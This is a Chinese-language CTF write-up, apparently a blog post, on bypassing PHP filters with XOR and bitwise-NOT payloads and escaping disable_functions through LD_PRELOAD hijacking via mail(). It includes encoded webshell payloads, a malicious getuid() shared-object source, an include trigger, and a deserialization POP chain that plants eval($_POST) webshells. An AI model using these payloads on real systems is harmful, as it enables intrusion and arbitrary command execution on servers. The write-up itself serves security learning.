取反或异或绕过以及disable_function禁用绕过
打开页面后,我们查源码
1 | <?php |
发现有两个过滤
1 | 1. strlen($code)>40 |
可以知道我们get提交的的数据的长度要大于40,而且正则过滤了大小写字母和数字,所以我们此时发现各类函数好像都被过滤了,所以我们可以使用异或或取反来绕过,构造
1 | ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo |
来查看php版本,发现它的disable_function过滤掉了许多的函数
1 | 禁用的函数: |
所以我们可以利用eval()函数来上传一个木马并连上蚁剑来获得shell
1 | <?php |
可以利用上面的脚本来构造木马
1 | assert(eval($_POST[mochu7])) |
因此,我们可以构造payload
1 | ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); |
然后post提交
1 | mochu7=phpinfo(); |
发现可以看见php版本,所以我们使用蚁剑来连接到后台,然后发现flag文件,但是什么都读不出来,然后点击/readflag,是乱码,所以发现由于disable_function禁用了太多的命令函数了,所以这个shell有很多命令都执行不了,但是蚁键有个插件是绕过disable_function的,选用并选PHP7_GC_UAF模式,然后在蚁剑命令行输入
1 | /readflag |
绕过即可,但是我是不能用,不知为何,所以可以使用LD_preload+mail劫持so来执行系统命令
LD_prelosd+mail劫持so来执行系统命令
通常在webshell中无法执行命令的话,有三种情况
1 | 1. php.ini中使用disable_functions指示器禁用了system()、exec()等命令执行的函数 |
第一种是完全不能执行命令,而另外两种是可以执行少量命令,而绕过第一种disable_function的方法有四种
1 | 1. 攻击后端组件,寻找存在命令注入的、web应用常用的后端组件,如:ImageMagick 的魔图漏洞、bash 的破壳漏洞 |
注意:ImageMagick存在命令注入漏洞的版本是v6.9.3-9或v7.0.1-0
我们可是尝试各种罕见的函数以及看php版本中是否有禁用mod_cgi模式,但是这里我们讲解第四种LD_PRELOAD劫持系统函数的方法
漏洞原理:
1 | 控制web启动新进程a.bin时,a.bin内部会调用系统函数b(),而b()位于系统共享对象c.so中,所以系统进程会加载c.so,但是在加载c.so前会优先加载可控的c_evil.so,而c_evil.so中有和b()同名的恶意函数,由于c_evil.so的优先级比较高,所以其实最后函数执行的地方会在c_evil.so中,而不是系统中,而c_evil.so可控,所以可以达到执行恶意代码的目的,因此,如果我们要实现上面的操作,我们可以做一下几步 |
查看进程调用系统函数明细
命令:ldd /usr/bin/id #查看调用的API
命令:nm -D /usr/bin/id 2>&1 或 readelf -Ws /usr/bin/id #查看该程序可能会调用的系统API明细
命令:strace -f /usr/bin/id 2>&1 #跟踪实际API调用情况
操作系统环境下劫持系统函数注入代码
由于被劫持系统函数需要有我们重新实现一次,所以函数原型必须一致,所以为了方便,一般选择常用无参的系统函数,如:getuid()函数就比较合适,可以使用man 2 getuid来看函数原型
找寻内部启动新进程的 PHP 函数
PHP 环境下劫持系统函数注入代码
1 | 对于第二步,我们可以编写原型的getuid()函数 |
#include <unistd.h>
#include <sys/types.h>
uid_t getuid(void)
{
system(“echo ‘!! evil command here’”);
return 0;
}
1 | 我们再执行 |
gcc -shared -fPIC getuid_shadow.c -o getuid_shadow.so
1 | 编译成共享对象,最后借助环境变量LD_PRELOAD劫持系统函数getuid()来获取控制权,然后用 |
LD_PRELOAD=/root/getuid_shadow.so /usr/bin/id
1 | 测试代码是否成功执行,我在ubuntu发现不行,不知道为什么 |
运行strace -f php image.php 2>&1 | grep -A2 -B2 execve 查看 Imagick() 是否启动新进程,发现只有一个execve是启动php解释器,必须要有第二个execve才说明是开启新进程
请求网页
1 | <?php |
运行 strace -f php http.php 2>&1 | grep -A2 -B2 execve 查看 curl_init() 是否启动新进程,发现不是想要的
发送邮件
1 | <?php |
运行 strace -f php mail.php 2>&1 | grep -A2 -B2 execve 查看 mail() 是否启动新进程,发现有两个execve(),满足需求
因此,我们可以在php环境下劫持系统函数注入代码
mail.php
1 | <?php |
将main.php文件和getuid_shadow.so文件放进同一目录里,/var/www/
执行main.php后,发现在不借助任何php命令执行函数的情况下执行了getuid_shadow.so文件的命令
根据前面的mail.php,可以写一个木马bypass_disablefunc.php
1 | <?php |
其中cmd参数是待执行命令,outpath参数为保存命令执行输出结果的文件路径,sopath参数是指定劫持系统函数的共享对象的绝对路径(如:/var/www/bypass_disablefunc_x64.so)
木马其中的
1 | putenv("EVIL_CMDLINE=" . $evil_cmdline); |
是向 bypass_disablefunc_x64.so 文件传递具体的命令行信息的
但是在真实环境中,存在两方面问题:一是,某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com),所以我们可以使用__attribute__((constructor)) 修饰的函数来代替,而且用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,我们不要局限于仅劫持某一函数,而应考虑劫持共享对象,bypass_disablefunc.c源码:
1 | #define _GNU_SOURCE |
用命令
1 | gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so |
生成bypass_disablefunc_x64.so即可,32位的加上-m32选项即可
回到题目本身,我们发现有disable_function时,我们就是用LD_PRELOAD+mail来绕过,我们可以在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,下载已经写好的bypass_disablefunc_x64.so,用蚁剑上传到/var/tmp文件夹中,然后将上面的木马改一下
1 | <?php |
然后也用蚁剑上传上去即可,然后用include函数来包含exp.php文件,从而启动新进程来触发漏洞
1 | ?code=$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=include%20%22/var/tmp/exp.php%22; |
即可获得flag
实例2(天翼杯easy_eval)
打开页面,可以看见源码
1 | <?php |
我们可以在源码中可以看见一个eval()这个危险函数,所以我们可以试着构造一个pop链来控制$this->code参数的值来执行恶意代码,而__call()这个魔术方法是在类调用不可访问对象时触发的,所以我们可以写一个exp
1 | <?php |
可以得到
1 | O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:15:"eval($_POST[1]);";}} |
因为正则过滤中过滤了B和A的大写,但是php中的类对大小写不怎么区分,所以可以使用小写的b和a,而反序列化时会触发__wakeup()的魔术方法,而如果序列化字符串中对象属性个数的值大于真实个数的属性时,会绕过__wakeup()魔术方法,所以最后的序列化字符串为
1 | O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:15:"eval($_POST[1]);";}} |
然后用蚁剑连接即可,我在本地测试时,发现$_GET[1]的一句话木马用蚁剑连接可能连接不上,建议使用$_POST[1]的一句话,然后查看php版本中的disable_function,发现有许多的函数被禁用了,所以可以启动子程序,并在子程序中有被禁的函数,所以我们可以在子程序中执行被禁的函数,因此可以使用我上面写的恶意so文件劫持系统函数,从而绕过disbale_function
我们只需将so文件上传到tmp目录中,然后用蚁剑的redis插件加载恶意模块rce
``
module load /tmp/exp.so
1 | 然后就拿到shell了,执行命令查看目录 |
system.exec ls
```
但是我的蚁剑好像无法加redis插件,所以我们利用上面我写的php文件,来通过php函数来加载子进程,从而执行恶意代码,当然蚁剑中也有bypass disable_function模块,但是好像这里也用不了
参考文章
PHP代码执行中出现过滤限制的绕过执行方法:
https://blog.csdn.net/mochu7777777/article/details/104631142
巧用LD_PRELOAD突破disable_functions :
https://www.freebuf.com/articles/web/192052.html